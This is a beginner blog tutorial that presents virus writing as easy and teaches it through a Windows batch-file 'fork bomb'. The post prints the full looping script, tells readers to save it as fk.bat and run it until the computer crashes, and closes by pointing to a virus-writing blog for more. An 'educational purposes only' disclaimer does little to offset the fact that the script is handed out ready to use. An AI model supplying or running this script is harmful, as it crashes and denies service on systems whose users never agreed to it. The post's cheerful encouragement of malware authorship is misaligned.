An Introduction To Virus Coding

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computer virus

Introduction

Virus coding is not as tough as you think its easy , Today Viruses are coded in various languages but the best are coded in Assembly and C. If i start writing tutorials on Assembly and C . I am sure most of my blog readers will never ever visit my site . As most of my blog readers are beginners so to make it easy for them .In this article  i will teach you how to code Batch File viruses which are the easiest to write and understand And for the intermediates who already know this stuff i will be adding links at the end of the post from where you can learn High level Virus Coding


I believe all my bog readers know batch file programming .If not i would suggest
you to google on this subject . So in this article  we will see a very common and famous
batch file virus "Fork Bomb "



Disclaimer :I will not be held responsible for the actions of people who read this tutorial. This tutorial is for educational purposes only.And does not in anyway encourage illegal activity .

Fork Bombing :-


Fork bombing  is nothing but calling a program by itself again and again with a infinite loop 

and making the system to crash by popping up hundreds of windows on the screen.

computer virus

@echo off 
:loop 
start 
Call fk.bat
Goto loop
Now copy paste the above code in a notepad and save it as fk.bat . Now when you run
this virus (program ) it will open new  CMD (command prompt) again and again
(because of the loop command )till the computer crashes .So don't run this on your
computer if your so curious then try running it on a VM machine (virtual machine ) 


For some further reading and research on viruses you can have

look at following links

Viruswriting blog - Another great place to learn virus coding

for all the basic detail you can refer this link and all major types of virus cooding are avilable there.



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